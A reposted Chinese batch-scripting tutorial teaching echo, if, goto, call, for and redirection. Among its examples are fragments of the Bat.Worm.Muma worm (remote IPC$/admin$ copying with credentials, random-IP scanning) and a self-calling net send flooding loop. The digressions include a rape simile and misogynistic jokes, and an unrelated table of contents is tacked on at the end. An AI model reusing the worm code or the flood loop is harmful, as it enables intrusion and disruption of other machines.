Windows脚本 - Bat批处理命令使用教程(转)

照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。

例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。

例二、再给出一个已经过时的例子(a.bat):

@echo off
if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif
a.bat

为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。


例三,使用批处理脚本查是否中冰河。脚本内容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。

例四,借批处理自动清除系统垃圾,脚本如下:

@echo off
if exist c:/windows/temp/*.* del c:/windows/temp/*.*
if exist c:/windows/Tempor~1/*.* del c:/windows/Tempor~1/*.*
if exist c:/windows/History/*.* del c:/windows/History/*.*
if exist c:/windows/recent/*.* del c:/windows/recent/*.*

将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。   

例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!

在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

1、@

这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
echo命令的另一种用法二:可以直接编辑文本文件。例六:


echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。

3、::

这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。

4、pause

中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

5、:和goto

为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。

goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:

……
goto end
……
:end

这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:

net use //%1/ipc$Content$nbsp;%3 /u:"%2"
copy 11.BAT //%1/admin$/system32 /y
copy 13.BAT //%1/admin$/system32 /y
copy ipc2.BAT //%1/admin$/system32 /y
copy NWZI.EXE //%1/admin$/system32 /y
attrib //%1/admin$/system32/10.bat -r -h -s

以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。

批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!

7、if

接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧:

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。

(2)、存在判断。再看例二里这句:

if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif

如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:/Progra~1/Tencent/AD/*.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。

另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:



masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):

start.bat:
……
CALL 10.BAT 0
……

10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。

在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):

net send %1 This is a call example.
call a.bat

这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。

给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):

call a.bat

一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。

至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:

START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。

没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。

不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。


可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。

但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。

“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>

11、|

这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:

help | more

回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。

为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。

11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。

11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:

help > a.txt
more a.txt
del a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。
Windows 脚本技术参考手册(CHM)目录:Windows 脚本技术 Windows 脚本技术 JScript VBScript 脚本运行时 Dictionary 对象 FileSystemObject 对象 脚本 Encoder 使用脚本 Encoder 脚本 Encoder 语法 脚本编码示例 Windows 脚本宿主 入门 WSH 5.6 的新增功能 将 Windows 脚本宿主升级 文档约定 WSH 版本信息 Windows 脚本宿主基础 什么是 WSH? 脚本Windows 自动化 脚本文件的类型 宿主环境和脚本引擎 创建可由 WSH 使用的脚本脚本分成可重复利用的部分 Windows 脚本宿主对象模型 运行脚本 使用 Windows 脚本文件 (.wsf) WSH 拖放支持 设置和自定义脚本属性 (.wsh) 在命令提示符下运行脚本Windows 运行脚本 WScript.exe 和 CScript.exe 选项 运行脚本需要包括的内容 设置远程 WSH Windows 脚本宿主的基本任务 访问网络 访问网络连接 控制网络打印机 创建自动登录脚本 驱动应用程序 执行文件管理操作 复制文件和文件夹 映射到特殊文件夹 管理快捷方式 复制快捷方式 创建快捷方式 